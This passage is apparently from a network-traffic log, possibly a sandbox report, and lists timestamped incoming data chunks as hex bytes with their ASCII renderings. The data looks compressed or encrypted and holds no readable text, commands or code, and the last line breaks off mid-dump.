b0 b9 ac 24 a5 42 00 5e 68 60 64 e4 50 40 9b 9e d2 fe e1 81 dc c5 27 18 76 Data Ascii: .C8tr4_3 n5U@Bbm/@l{$aXZr;3T\|@SD~XXad7p)(QVuVo4YPJ>{_2G<~ZnRjOr#8ZpGff`y&l+6/RW `G$B^h`dP@'v
2023-07-18 15:37:07 UTC	1888	IN	Data Raw: f0 04 4d 94 b0 1a ef e4 83 78 e7 af 7b a5 e3 3f d7 7e e9 22 8e c8 44 83 a3 c7 bb 83 54 03 4b d0 c7 c0 ec d5 6a 5c 4b 97 34 71 b2 ed d5 6e de 02 6d 68 25 ef 25 a8 99 4c 7c 91 14 32 14 e4 44 90 41 c1 e3 ab 89 f0 e6 b3 12 0a da 03 5e a3 91 6e d1 b6 a4 96 56 c6 51 3c 8d 08 e9 c2 1f d3 00 d9 53 04 1a 09 d2 1e 81 e3 44 ce a7 6f c2 5b 7e 80 57 b3 96 52 4d ab e6 57 03 ef 4e ee ae 75 2a 36 89 37 8e e9 fb ee ac 65 cc 47 3d a4 12 e0 b0 b7 96 4c a2 22 68 8c b0 5e 97 82 3f f3 db c1 fd 85 3c 4e 99 c6 29 f1 95 56 77 01 84 45 98 99 a4 b0 02 71 01 45 8b c3 37 cc 69 bc 72 9f 2d 4d 35 48 a6 40 44 09 05 52 4e 5e ab 15 ce d6 b7 a7 62 0d 77 56 9e b1 ab c0 ba c7 db c2 de 88 92 05 22 36 ec 43 43 fb 82 e7 e3 c2 91 f9 97 8d eb 32 ce 55 40 27 3b 91 ba c2 4e 86 16 f4 f4 70 58 72 d4 Data Ascii: Mx{?~"DTKj\K4qnmh%%L\|2DA^nVQ<SDo[~WRMWNu*67eG=L"h^?<N)VwEqE7ir-M5H@DRN^bwV"6CC2U@';NpXr
2023-07-18 15:37:07 UTC	1904	IN	Data Raw: 08 cf 16 0e cb 5a 5e 6f f2 0e 00 24 4a b9 de b2 9d cf 4f e2 e7 fa b6 9c 87 b0 92 e5 3d 46 5c b1 96 2b 27 44 b0 fc a3 5d 31 03 d6 22 d5 44 d2 bd 7e 91 8a 09 99 8d b7 86 7e f1 78 33 4a cc 46 bf b4 b3 36 54 1a e4 85 87 fa 8f 5c 5a 68 58 4d 98 91 4b 9a 04 e9 22 3a d3 e5 68 61 6b e8 81 01 be 51 ea 60 76 2c 3b 5c c8 ba a9 d7 78 c7 e9 e5 e7 32 59 1e 91 d1 45 79 5f 33 3e d6 d3 70 dc 09 df d3 9f da 9b f7 52 9e 5f 33 6b fd 9a 6c 7f 56 4e a0 2f db a3 02 ec e8 6b bf 93 b5 3a 09 0d 8b 28 da 45 ea dd 13 20 74 3c 30 c1 fe 6f b0 89 71 f2 96 aa 67 15 f2 a6 ae 66 91 3c f5 67 5b 8d 5e 8d e9 d5 f7 91 c3 40 ed 30 5f c7 b1 42 db 39 86 c6 81 75 63 be 89 4d 80 db cc 88 1d 5a d5 15 13 72 d0 87 97 45 46 b6 89 6c 46 b1 bb f4 96 ad 9b ca 3f 76 fa df 98 94 27 89 c5 b2 07 e9 3a a9 14 Data Ascii: Z^o$JO=F\+'D]1"D~~x3JF6T\ZhXMK":hakQ`v,;\x2YEy_3>pR_3klVN/k:(E t<0oqgf<g[^@0_B9ucMZrEFlF?v':
2023-07-18 15:37:07 UTC	1920	IN	Data Raw: 6b c2 7f 71 6c b8 59 a9 48 27 16 df 97 22 13 47 54 78 e5 99 61 15 54 c0 fb 64 9f 3d 68 9b c9 a8 f3 e1 6e de ce 01 6d d6 a0 ad 3d 6d c1 79 40 a0 d4 1d e5 e2 40 54 8a e4 c1 a7 84 b9 26 dd 3c 4d 7b cb d2 8a 62 59 1a 4a 83 15 90 62 19 31 56 f5 cb ec f8 69 33 4d f9 ba 2f bb aa bf e1 69 37 68 ea d0 2a f0 74 cc b3 c7 8a 0c 70 87 04 dd b7 4e a9 4b e5 67 c1 25 74 e5 c3 1a d7 83 80 c4 53 24 77 ea 0b a4 d6 37 d3 6a 80 13 28 16 d4 c2 21 cd 16 5e 1f 94 fa 67 40 ee 6a a0 69 43 87 da 96 a4 90 77 54 c7 2b 19 cc d6 b7 15 ad e8 46 da 35 47 68 3c 37 39 c3 83 d7 ab 24 8a 24 a9 5c 51 8f a8 20 91 7f a6 56 41 4a 14 6e 12 64 79 b6 fb 6a fd 0e 1e 91 57 0c e2 4f f1 e4 43 e5 17 e0 3a 06 8c 28 b3 25 30 98 f9 8a 31 32 c6 1f d3 89 60 9a 62 89 da 66 0d af 9e ed 57 8e e0 e5 8c b1 b9 fa Data Ascii: kqlYH'"GTxaTd=hnm=my@@T&<M{bYJb1Vi3M/i7h*tpNKg%tS$w7j(!^g@jiCwT+F5Gh<79$$\Q VAJndyjWOC:(%012`bfW
2023-07-18 15:37:07 UTC	1936	IN	Data Raw: ec 5f 1f ac b3 c7 78 e4 e1 ae f1 8c 45 7c 8e 9e 29 e7 2a 93 99 90 2f 75 95 2d 00 66 87 e0 bd 4f b4 27 38 a1 9b a3 c3 a5 01 c7 27 c4 8a 54 83 1b c7 0c bb ae 6c b6 c4 26 66 5f ff 87 16 af d9 8b ce 0a d3 6d e7 bb 73 8e 16 a5 2b 27 a4 7b 2d 07 de 01 f4 25 bc 88 a6 4a 8c 0d 85 7a a7 2f dd ec 7b 3a 69 d8 f6 54 5c c5 7c 92 d9 8b 25 29 4c 40 b9 df e4 37 c5 2e a2 71 7c 30 53 07 56 64 b6 d0 a6 a0 77 fc 3d 59 c1 88 6b 78 63 bf b9 5f d4 11 9b be ff 7e c9 59 af 88 58 b4 54 07 77 ab 78 d4 56 2e 2e 41 b5 7d 8f f7 5c c3 02 26 c9 d0 0a 40 f9 9f 2e 43 4b 73 84 88 64 28 b9 60 94 15 6f 50 3f ea 9d 44 91 c0 1b 26 1f 84 cf a9 a6 e7 5b cf ad b9 f9 b5 f3 94 46 6b a0 58 7c 62 23 21 76 38 5c 69 41 9e 09 1a d8 c3 fe 94 12 bb 2b 1e b1 06 69 1b 83 5c 46 af c2 74 48 dc 51 31 38 cc 63 Data Ascii: _xE\|)*/u-fO'8'Tl&f_ms+'{-%Jz/{:iT\\|%)L@7.q\|0SVdw=Ykxc_~YXTwxV..A}\&@.CKsd(`oP?D&[FkX\|b#!v8\iA+i\FtHQ18c
2023-07-18 15:37:07 UTC	1952	IN	Data Raw: 62 3e d0 ba 81 e8 ae 74 7e ea 70 f7 ff 2d 22 1f 3e f5 e8 a0 c5 89 b0 81 2a 52 78 2c ff 9b d1 65 6e 30 06 a9 76 eb 6e ce 68 57 8a 09 5a c6 92 8f 2c 6d f5 83 7c de 03 29 5b e6 3b 72 19 b4 91 90 2b 13 c9 a1 6b a9 80 56 4c 93 cb 92 e2 b9 f2 73 0a 43 8b 07 16 ce 7a a0 a6 89 42 a5 40 5d 1b f5 73 2b 7c 7f 79 c2 68 78 3f bd f7 72 1b 9d 8c 75 bf fe 2f c9 d0 d2 83 68 d0 fb 7b 9f 09 07 9c 56 ca 13 58 00 54 d1 ac 63 68 e8 f9 eb e3 86 f5 1e 67 d7 ed 7a 15 98 7c af 1b f0 70 6d f4 21 b5 b7 63 f4 a7 95 44 bc 55 be e6 32 c8 ff e4 53 7c 39 5c f5 e9 e8 7f 7b e3 41 b0 28 13 be ec af 7b 2d ff 73 3e fe 0a f9 b4 e2 55 d8 64 3b 82 2a 41 92 4a 22 93 83 38 d3 ff d8 b6 ca d7 4f 87 dd 5b dc 61 a8 34 3b 19 f6 5f e3 07 dd 3f 9f 1a e7 53 63 2c 06 96 8d 1b e0 5e 4f 7d a2 4c 9d 5f e5 4f Data Ascii: b>t~p-">Rx,en0vnhWZ,m\|)[;r+kVLsCzB@]s+\|yhx?ru/h{VXTchgz\|pm!cDU2S\|9\{A({-s>Ud;AJ"8O[a4;_?Sc,^O}L_O
2023-07-18 15:37:07 UTC	1968	IN	Data Raw: 72 e3 fb fa f2 71 6c 5f 84 c6 d4 72 c7 a1 1b ea 80 4f f3 3b bb e6 d8 a1 4a 1c f3 93 e2 9d 1b 9c b6 02 85 32 a6 78 55 44 4f c5 cf 60 f7 31 6a b0 a6 bc 2f 58 06 79 1f 3c 25 d2 09 c3 31 2d c3 82 0a 67 7f cd 96 41 ed e1 eb 0c 66 be f5 f4 ea 3c d9 bf 9c 0b b1 13 93 ea 47 d2 82 1f fa a3 ef 05 58 4c ee d8 7a 8d fe a4 37 e6 85 7f 20 7e d1 97 f2 1b ab fd 43 51 76 c7 6b b0 39 81 50 c9 c5 ad d8 8d 10 e1 0b 73 75 2f a1 f4 97 2e c0 c1 0c 00 0b 5c a4 0a 86 2d 41 91 79 9d 29 9f a9 30 0e 24 89 4d 55 c9 07 28 84 9e 28 86 4d bb 3a 71 b0 c3 79 86 4a fc 31 96 c5 23 92 8e cb de 3e 81 92 fd 1f ff d4 c6 b2 0e fa 80 de d9 12 3b 65 90 e6 c1 0f 18 da ae 1a aa 3f 3b df 41 f9 32 3e b4 91 33 36 43 10 a6 07 5a ab b2 cd 6e 4b ff a4 15 f8 4d fc cd 89 ed 4b a1 f7 fa 46 2b ea a3 2e 48 7f Data Ascii: rql_rO;J2xUDO`1j/Xy<%1-gAf<GXLz7 ~CQvk9Psu/.\-Ay)0$MU((M:qyJ1#>;e?;A2>36CZnKMKF+.H
2023-07-18 15:37:07 UTC	1984	IN	Data Raw: 7d c7 0a 94 d4 22 86 e3 92 42 ad 77 ef 3b 85 4e 24 b4 28 91 ae 46 e2 68 74 50 d8 df 62 db c8 0d 8d 73 99 86 92 86 b8 86 e9 a1 c9 a4 e0 ec ff 29 4e 0f d3 26 69 83 3c 79 f8 e2 85 14 9a 65 83 db 46 16 51 35 72 f3 14 65 9a fb b1 7e e8 c8 93 e3 58 5b 0a 6d 2a 61 80 1c 7b b7 b6 7f 4a f6 55 53 b2 93 da d9 a9 f4 14 54 a9 40 14 5f 35 d9 dc f5 eb ba d9 be 20 77 60 21 3c 85 1c 04 a8 42 08 88 cb 26 9d fa 34 6d a8 da 61 67 91 3f 50 2a b2 9c 63 93 6f cf 27 b5 d5 d3 8b 76 83 de ff 0b a7 58 78 9d f1 a5 3a d0 a5 05 ec fe 64 e9 5f 48 89 8e 6b 31 5f 48 8e 63 79 e7 62 66 24 f5 78 f2 01 d6 61 b8 25 84 42 60 12 12 01 76 b8 29 3e 30 0a 2b 99 2b ed 71 bb f3 84 b1 2e a3 ed fc 8e 92 ec 0c dc e8 2c e5 4d d9 9c 7f 40 5b 5d 13 bf 93 2f a4 db 6e 14 a6 0a fb ac 89 13 7d 26 7b b9 a5 02 Data Ascii: }"Bw;N$(FhtPbs)N&i<yeFQ5re~X[ma{JUST@_5 w`!<B&4mag?Pco'vXx:d_Hk1_Hcybf$xa%B`v)>0++q.,M@[]/n}&{
2023-07-18 15:37:07 UTC	2000	IN	Data Raw: 48 88 bd b8 95 e7 f5 62 9f 0c ad d4 10 b2 c8 22 25 f8 7c 30 2b b5 20 83 31 08 59 88 91 1a 4b 4b f4 d1 84 24 9b 90 22 97 24 7e 05 28 bd 14 e4 92 a7 e7 00 6a 06 12 62 a0 a0 c2 7e fc 1c b1 28 fc 2e 50 2b c2 c8 33 7c 1d 99 22 7c 7e ef e8 3f 2b ea 37 55 11 e7 b8 ca 01 dd 67 5d 01 f8 2e ab 70 e0 e1 28 c6 d6 85 a4 43 00 5a a5 94 0d 07 0f be 1a 4c aa a0 58 80 85 49 f0 e0 42 f1 4f 7e 5c 17 99 ef bd fe ea 9a 2c 07 bf 51 42 ff bb 28 6b ae ac 40 c3 80 bf bb b2 6a 4a 61 e3 06 fa a2 1f 6e 54 87 ac 02 30 84 55 c1 b6 10 dc cb e5 e0 80 75 f3 ff bf 1a 00 02 ba 09 a5 07 b0 0e dc 1c aa 7b 87 83 f2 01 59 ce c8 08 08 19 4e 80 b2 06 d5 ab 0d 29 fb 52 52 aa 75 8b bc e6 bb 36 1b 5e f3 2a 7d ed bf 4c 43 48 56 0b 74 06 05 84 0b 52 a0 de fe 2f fc 3a 8e 01 24 a8 09 8a 02 ae 00 7a 6b Data Ascii: Hb"%\|0+ 1YKK$"$~(jb~(.P+3\|"\|~?+7Ug].p(CZLXIBO~\,QB(k@jJanT0Uu{YN)RRu6^*}LCHVtR/:$zk
2023-07-18 15:37:07 UTC	2016	IN	Data Raw: 8d 2f e6 49 9b 04 ff a9 87 f2 e0 6c ff 88 27 cc 9e c5 16 13 67 e6 00 f8 bd 4f 27 76 33 45 10 1d 10 b3 a1 0d 1d 5a 5d d3 f2 4f aa 79 53 a4 18 13 9c 48 cf 4c 4c 96 86 ad 9c bf 2d 7c d1 5b eb fb 5e 4d 77 95 70 f3 a3 a6 cf be 0f 6b 12 8a 84 e1 95 5b c2 6b c0 4e d6 ef cf b9 c0 2b d7 c3 ac 34 c3 52 b3 12 02 98 70 f9 31 60 fc 97 cd e8 a7 29 d5 48 fa 42 bb d3 d5 1b b9 97 49 7e cf 18 a3 5a 7e 3c 2b 0f 9d 07 c2 15 b4 3f bf 73 a2 34 9c cb 5b 09 8a 03 2a cf e9 7b 1b 6a 87 c8 22 be 75 6a 57 61 fe 71 4b 7c a0 3f 46 2c f5 a3 22 b6 f3 6f 0c e8 b6 37 22 e5 13 37 19 6a 1f 6d 6f 98 da 81 51 83 9c a5 5f 1c d8 8d 4c d7 3e 9f 7f b9 7a 83 1d 9b 04 18 f6 ba b9 f5 2e 62 70 12 92 d8 d5 03 bc 62 5b 2b 24 f9 f7 a0 f8 f8 17 37 74 bf 41 a6 4b d1 ca ac ce 7b 51 c0 37 98 a7 2c c2 04 43 Data Ascii: /Il'gO'v3EZ]OySHLL-\|[^Mwpk[kN+4Rp1`)HBI~Z~<+?s4[*{j"ujWaqK\|?F,"o7"7jmoQ_L>z.bpb[+$7tAK{Q7,C
2023-07-18 15:37:07 UTC	2032	IN	Data Raw: d4 81 ee 68 4e 24 ae 63 f0 5a 69 12 c5 bb 81 74 1d aa ac 93 40 65 ec 43 bf d8 ac ca 4b c1 ca fa 20 7f dd 74 c6 6b 87 c9 c8 ee 16 3f 1d c3 e2 c2 57 4e 3e aa 3c fb fb 25 14 28 7f ad ca 4e a3 55 58 10 bf 33 55 54 62 15 e4 9c 6d 0b 2b a7 a5 db 8f eb 3c 92 4d 3f 27 2e f5 65 da 95 13 ad be 21 44 82 7a fe ce ad e7 b8 e9 b8 43 68 9d 33 3f cf ef ec 0e 9f 37 90 8c 79 3f 7b ca c7 73 0e 7c 9b 08 7f b5 16 e9 b1 8e 6f ab 01 f3 0d da 5c da f3 12 8a 2a 4e 90 0f d2 a0 1e 56 0e ca 92 8d b2 2d 3c a6 35 40 45 dd a3 7b 5b 02 b9 fc 67 c1 fb 41 3b 8f f2 fe 1a 6c 36 71 1b a0 eb f4 93 fb e0 8e bd 41 b3 78 1b 3f 77 33 51 87 6f 26 62 5f 11 6e fa 57 07 3e 55 6d 60 76 f6 09 52 4b d9 d3 42 4c 52 0f 9a 2e 1b 92 34 7e 6d 5e 5e 27 e4 98 7d d0 b5 3f 96 59 8c 10 f9 05 e5 76 a7 ce f0 6e cb Data Ascii: hN$cZit@eCK tk?WN><%(NUX3UTbm+<M?'.e!DzCh3?7y?{s\|o\*NV-<5@E{[gA;l6qAx?w3Qo&b_nW>Um`vRKBLR.4~m^^'}?Yvn
2023-07-18 15:37:07 UTC	2048	IN	Data Raw: f3 2f 1c 9f 6a 75 7f bb b8 7e 62 0a 73 86 2e c6 6a 0e a1 2b 37 7c 80 0e dd fb ce 23 92 88 b1 45 e0 6d c5 c8 9f a6 e0 bc 7b 94 65 ec 50 0e 7f e5 04 be b8 bb f6 37 c1 92 20 4b 80 4b 7d 77 e0 af 03 22 c8 51 94 a1 97 c5 cb 18 9f c2 8e a0 60 05 4e fc 85 aa e7 cc 00 d5 89 fc 01 c4 22 4f cf d5 70 9d 7a 24 20 1a f7 9c 8c 56 e4 5a 49 21 ab 20 2a d2 a2 85 58 ba 35 d7 02 fa c5 bb 55 a8 0a 48 5d 2a c3 b2 c3 10 66 04 65 15 b4 fd 7c 30 23 a8 a6 ee 73 a7 b0 05 d2 70 e9 85 44 28 95 1a dd a0 58 22 2c a7 c6 73 0f 35 2c 29 bc 73 79 6a ac bd dc f9 02 aa 07 dd 0d ba 5e 47 a5 9d ca f9 b7 1b 94 d7 32 87 68 50 9b 88 db 43 d6 02 ce 37 2d 86 54 44 2b ef b7 4f e0 75 b8 7f bf a1 8a f8 b3 18 50 58 a3 b0 1b 82 85 2b 0c 33 58 6e 70 15 63 95 62 23 5c 35 80 d7 37 de ab 0c 5f 48 4e aa 90 Data Ascii: /ju~bs.j+7\|#Em{eP7 KK}w"Q`N"Opz$ VZI! X5UH]fe\|0#spD(X",s5,)syj^G2hPC7-TD+OuPX+3Xnpcb#\57_HN
2023-07-18 15:37:07 UTC	2064	IN	Data Raw: 21 af 8a 6e 5f 20 b6 b4 6b 36 40 e3 ae a5 94 c5 56 71 6a af 46 fd d6 a6 91 1e 70 0e 19 02 8a 03 e1 54 c5 59 b3 5b bd 8d ac 3e 34 78 33 6a d8 d5 db 14 4e 10 ab 0e 95 40 52 f6 86 ce 7a b8 d9 dd 9b 41 ec e1 d2 bd bc f4 d2 5e 26 4d 86 e9 a8 b5 96 5f 97 1c c9 2d 68 4c 02 b5 a9 f8 75 18 ae 82 c9 07 f6 f1 b3 fc 72 83 b5 fc 32 87 fe fc 26 a3 90 50 04 a4 0c 58 3d a2 9e e2 13 7c ab da 4e ac b6 87 ed 04 04 6b e8 72 06 c1 5b 2e c9 17 04 e7 ff 39 ac 9f cc 48 7a 48 11 3d 61 04 62 5b 14 f3 26 a8 5c 42 bb 38 c3 2e bf d4 f3 96 42 b1 c9 ba 29 39 5f c2 02 7f 9c 20 aa 84 5d 0d fa be 46 9d 35 09 77 d9 0e c2 28 7d 3b b9 bb eb 53 f0 24 e2 34 b2 8f f3 5a 09 9f 08 53 3c 04 a2 11 bd b5 e6 9c 95 ca 51 9d 5e 52 8e 93 81 77 05 dc 71 0d c6 94 0b 1b 48 5a b5 be f7 5c 87 9d 11 97 5e 45 Data Ascii: !n_ k6@VqjFpTY[>4x3jN@RzA^&M_-hLur2&PX=\|Nkr[.9HzH=ab[&\B8.B)9_ ]F5w(};S$4ZS<Q^RwqHZ\^E
2023-07-18 15:37:07 UTC	2080	IN	Data Raw: d0 db 1a 81 45 82 9a 2d 0c 31 09 2c 9a 69 c2 c3 d2 b6 18 ff 36 eb 1a c3 9e 25 de be 8f 0c 6a 79 6c 3f 4b 28 b1 51 17 fc c3 29 91 4f 6d 9d 82 63 89 88 9e ef 65 d8 37 05 b5 02 66 1d cd 7f 68 aa 25 41 2b 70 7e 73 7f 9b fa 65 41 76 b4 2f 0d 46 65 a4 7e 31 73 b3 6a 97 c8 a5 3a 81 4c 84 8f 74 e3 b6 a1 06 d8 8c 8a e5 ad 8e 51 37 5b 25 5f c2 47 35 00 a5 19 ef f7 fb 10 35 96 2a a1 db 2c 6d 76 42 e9 7f 0c 94 ae 58 c1 1c d0 50 4c fa 4a 73 8e b6 ee 34 43 c9 c0 a5 2c 74 99 80 46 1c 77 df 80 8d 99 a9 35 93 dd c7 d6 d7 25 c0 96 7d 00 a2 48 e0 5c d4 61 b0 54 f8 36 e0 e3 43 37 b4 f2 69 91 9c 6e 69 39 7e 58 ac d5 18 48 23 2f 80 31 50 04 d5 04 9c 4a 57 00 90 c4 18 a3 2b 86 20 16 b2 8c 79 05 f4 9a 58 16 20 cd a5 58 2d 9e c3 f4 7a da 11 cf 09 83 e1 95 82 6e 77 b1 0e f0 24 48 Data Ascii: E-1,i6%jyl?K(Q)Omce7fh%A+p~seAv/Fe~1sj:LtQ7[%_G55*,mvBXPLJs4C,tFw5%}H\aT6C7ini9~XH#/1PJW+ yX X-znw$H
2023-07-18 15:37:07 UTC	2096	IN	Data Raw: de 0a 21 8c a6 52 cb 62 b6 0f 44 14 da 00 6c 43 5c 9f 4e 48 c1 d2 ec 75 6a a6 00 34 26 ed 14 7b 91 77 15 ac af d1 2b 6c 6a dc 1a d2 44 44 ab 13 da bc 8b 37 f1 89 3b 64 3e 35 ce 2f dc 1c 40 14 54 c6 9d 05 15 0c 6b 60 db a4 37 42 71 d4 dd 5e 73 70 b4 14 0a cf 35 d0 4a 8b 36 78 59 3f 15 ae 2a 9e 0c 46 fe 63 60 3e e9 4a bb 65 0c 6e 1c bc 47 c5 64 97 24 21 c7 55 88 6c 03 cb b3 d3 a2 0c 59 48 8a 69 4c da 23 4c cb 52 c8 52 98 64 f2 51 47 09 e6 31 db a6 2d 14 e6 55 db 18 50 0b 8c 7f c1 53 90 ed 42 0c e4 09 67 5b e1 0f a0 22 a4 98 36 49 11 48 4c 9f 79 a2 0d 22 9f b7 dc ba 65 6e 55 be e1 3f 12 f4 75 55 de 8c e0 3d 5a b4 6e f1 da 61 c7 75 84 10 04 e5 7d 7f fc ba a8 0b a1 d7 69 27 61 cb 6a df d5 1a 20 cb 3f d7 d2 50 a9 5f 15 8b ef 2a bd 4b 16 f3 3c 25 e9 c7 13 f4 73 Data Ascii: !RbDlC\NHuj4&{w+ljDD7;d>5/@Tk`7Bq^sp5J6xY?Fc`>JenGd$!UlYHiL#LRRdQG1-UPSBg["6IHLy"enU?uU=Znau}i'aj ?P_K<%s
2023-07-18 15:37:07 UTC	2112	IN	Data Raw: 93 5b ee e1 11 bd a8 85 6b ec da fc a5 14 44 3f f7 15 ab 29 e5 6c d8 26 bb fa 23 94 0d 88 cc d2 93 bb c8 fe c9 72 75 27 5d 67 ed 6f da ed ec 54 0f ae 06 77 77 21 e5 38 9c 94 49 b6 5f 04 0e 0c 60 42 e2 b9 a7 ff ff f6 15 6d f7 17 85 fc 17 3c be a4 08 9d e3 75 26 25 2c c9 65 b0 39 d2 81 cb 4c 6d 76 57 e7 4c 73 fd 74 9d 35 fa 67 e0 ed 34 8e 7c 05 9c dc 87 74 fb 74 94 4d 5b f9 c6 d1 66 b9 8a e4 a3 f6 26 9c 8b 69 75 b1 5b c4 b2 81 e3 57 20 a3 38 ec 2c 9d 18 3f a7 e7 a2 c3 ff c0 7f 9d e3 8d 5a c8 8d 5f 01 c0 c8 39 f2 da d7 0e ee 6e 32 4d 5d 7d fb 68 9a c2 54 0c a5 0f 86 6b 9d 52 32 6f 34 65 2f 9b 57 87 70 5b 42 69 6a b4 18 f4 f8 0a 09 39 29 73 3b d4 e7 50 28 0a 79 43 41 98 22 32 f2 01 00 a0 95 72 78 9e 11 98 2e f7 ff 8c 92 d6 a0 4c 24 d9 7e 4a 41 a2 4f 16 63 34 Data Ascii: [kD?)l&#ru']goTww!8I_`Bm<u&%,e9LmvWLst5g4\|ttM[f&iu[W 8,?Z_9n2M]}hTkR2o4e/Wp[Bij9)s;P(yCA"2rx.L$~JAOc4
2023-07-18 15:37:07 UTC	2128	IN	Data Raw: 7a 31 1a a3 fe e3 e3 d9 ac 57 5e 66 37 35 65 e1 e8 f4 b0 cf c2 83 fe dd 44 3d f9 8c 88 de e0 5a 10 bc 80 bc 9d cd 0b d2 c5 8e 7b 15 83 5d 25 fe 55 8c 24 54 9d fd 32 08 49 44 2f e2 b8 ec 50 62 f0 e9 f8 23 97 c9 72 fa d4 db 85 c3 3d 53 65 3a 7c 2b 8d 21 21 ca 53 3a 9b a1 83 9c ec fd 7b 1c cc a7 d4 c1 b9 fc 19 17 55 0b 8f a6 20 fe 60 1c 93 3e 01 7d fe 90 4f 7f b1 08 24 6e d0 7c a9 01 49 81 fa d5 5b 94 3f 88 a0 8d fe b1 a5 2e a1 d4 a2 22 65 b1 46 e7 ec 33 c5 f5 01 ff 9b ed f8 7e 65 dc 1b e0 91 a3 3e 35 db ce ba b5 4c 8c aa e7 8e 9e 1b ab aa 44 f1 97 42 13 85 54 f8 a6 f4 84 bb 5a 96 a2 31 55 90 08 9a 2e c9 2f 31 73 4f 52 6f ba 0b fa 0b bf d0 75 ad 2d 80 57 45 e5 9a cc 32 85 63 9d 56 42 f1 54 a6 ae b6 b3 65 f9 fb 24 e9 5e a8 4a 37 f1 0b 4e 6b e4 4f df 42 21 bb Data Ascii: z1W^f75eD=Z{]%U$T2ID/Pb#r=Se:\|+!!S:{U `>}O$n\|I[?."eF3~e>5LDBTZ1U./1sORou-WE2cVBTe$^J7NkOB!
2023-07-18 15:37:07 UTC	2144	IN	Data Raw: 51 f4 2d a3 74 84 45 06 a7 56 4e 84 46 09 19 f0 bc b8 24 c9 1b f4 49 ef 48 78 e4 ce 12 4e 90 1f 07 23 05 fb ea bf 7d 7d 67 e7 be 3e b6 83 4f 4a eb 7a 49 d9 7b b7 60 7b b2 09 e9 49 19 b7 50 34 72 c7 28 f7 6e 3d d2 52 01 1f 19 8e be df 92 6c b1 6f 47 bd e3 25 3a 02 65 9a 93 4f d9 7f 8a c3 f5 c8 de b6 fb f1 7c e3 df 96 8f 93 92 51 e0 1f 7d c0 27 94 96 93 e3 8e d4 4b ca 0d 73 c9 e1 c8 4a 58 b1 49 ca d3 4a de 88 49 4a 86 cf 34 9e 53 d2 e0 ab eb 72 23 81 a2 f4 10 9f b2 55 90 57 e2 be 4a e1 aa c8 48 47 c7 48 a6 6f 52 dd 81 73 9f ca e8 37 a6 09 cd 0d 94 de d8 b6 bd 41 cc 20 c8 0d df 70 34 30 c1 7e 34 b4 68 22 09 3c bf 49 26 d0 e2 91 47 da a6 d9 f1 b7 85 27 0d f5 f2 08 de 7a af 1f 00 7b 2b b1 9f 43 b6 8c 88 f7 23 d8 97 01 bf 99 a6 a8 81 ff 53 72 82 a0 1a 74 c5 6a Data Ascii: Q-tEVNF$IHxN#}}g>OJzI{`{IP4r(n=RloG%:eO\|Q}'KsJXIJIJ4Sr#UWJHGHoRs7A p40~4h"<I&G'z{+C#Srtj
2023-07-18 15:37:07 UTC	2160	IN	Data Raw: bc 14 3c bc 14 b8 5c 08 88 0e 14 ec c9 bb 27 c9 8c 81 8d 6d 94 cc 9e e3 1f 9f a1 c5 2c ec 9b 4a 6a 13 cc 6d dc de 3a e4 12 d6 21 0c 85 09 19 17 51 fb 86 28 10 f4 7d ed bf 61 68 4a fe ee 53 71 24 42 01 95 dc d7 23 e3 5c 4d 78 a9 b4 6a e7 a8 60 22 5e 3f 14 0f 1f 12 5d 48 7e b1 6e b6 12 d1 79 93 26 5b ff 30 de f1 a5 e3 b2 da 54 8e 77 f6 57 ff ca 8e 95 87 4f 1a 17 fc 00 79 a9 80 a4 f2 16 c9 a0 32 5a b4 de f9 b7 7e 6e aa 20 c7 4a ec 06 51 f9 f1 be 9f 4f c4 b7 5f 4a 24 9b 52 ad f8 00 5a 32 9f 40 89 f6 6d 2e 79 d2 b7 cf 4e bb 7b c2 46 4f 66 10 dc f7 5e 9f da 64 61 eb dc 6c 65 43 90 b9 8e 81 fb 8a 81 4c b5 f0 73 76 34 e0 0a 9f 04 cc 32 bb 04 52 98 01 2d d4 84 f5 c4 01 4c 4d 82 66 9d 64 65 be be d4 23 a1 68 f3 d4 f9 d6 04 cf 52 6c 9c a9 3b 0f 70 ae 67 a7 f2 c5 27 Data Ascii: <\'m,Jjm:!Q(}ahJSq$B#\Mxj`"^?]H~ny&[0TwWOy2Z~n JQO_J$RZ2@m.yN{FOf^daleCLsv42R-LMfde#hRl;pg'
2023-07-18 15:37:07 UTC	2176	IN	Data Raw: a7 dc bc 61 30 3c 4d 76 a0 20 ce d8 68 8c 83 b3 2b c2 b1 67 cf fa d7 c9 13 27 74 6c c5 7e 4a f0 dc 51 f8 ab 9f 31 bf be fa a1 eb b9 46 9a b7 74 52 3d 69 f4 d5 07 d6 66 5d 62 78 c6 49 31 76 24 3f e8 60 0a e4 a9 39 de 58 2a ae 79 96 5d 63 fe 9d 29 96 2e 66 dd e8 f3 99 8a fb 94 52 0d 94 51 ed 81 56 35 23 fe f2 e9 fe da 0b 97 ca 48 f2 dd fd 73 3f 41 9d 45 10 78 5d cc df 7b c4 aa 40 b3 e4 f3 c8 4c ba f1 06 5a 97 c6 36 2d b2 f2 d0 41 c2 23 93 8c 44 8b 12 2f 2c 89 89 dd 37 8a 52 cc 9f f5 02 6f 64 d0 ba 21 40 2f f3 9a 7e 9b e8 2d c2 dc 76 3a 9c 63 6d 3e 4e 4b bf 14 9d ca 66 15 e2 8f fb eb 11 d9 64 f7 ea 0f cf 12 6f 15 81 0f e2 78 0e 7b ef 5f c9 bf 9e 99 95 2b 4d c7 26 f5 75 c6 71 64 97 9d 0b 8f 29 46 3e a8 89 42 2e 65 1b b9 4f ab af aa a4 b1 57 c5 c9 87 41 00 d4 Data Ascii: a0<Mv h+g'tl~JQ1FtR=if]bxI1v$?`9X*y]c).fRQV5#Hs?AEx]{@LZ6-A#D/,7Rod!@/~-v:cm>NKfdox{_+M&uqd)F>B.eOWA
2023-07-18 15:37:07 UTC	2192	IN	Data Raw: a8 8f e3 5b b7 12 35 6d f7 55 c3 a8 c4 03 0d 6b 2a 31 a6 7f 97 99 47 88 5b e9 ad e8 ec 86 b7 8c bd 3a 7d 8e 83 38 bc 86 7b 20 9e 74 42 9d f1 f8 b1 10 75 ff 2d bc 9c b9 61 32 9a 07 13 9a fb 6d 11 f6 5c fb db 37 76 fd 03 1f 4f 0c 4c b2 35 f1 b7 bd f1 ef bb 73 6e 05 fe 40 17 d9 13 da 59 35 4e 77 6e 34 6d ab 82 2d ed 47 6b 35 1a a3 fa 2c d7 ff d7 52 63 a5 44 db 9c d1 e2 65 bc c3 69 6f 85 ea 98 92 56 c1 91 f8 15 6c 00 6c 10 10 04 00 00 00 33 53 43 33 00 00 0f 54 e0 b1 3f dc 8e 00 d2 64 90 7c e2 20 61 f6 3c 07 49 cb c2 14 b8 69 88 1b 1f 8f cb 89 6c 37 89 92 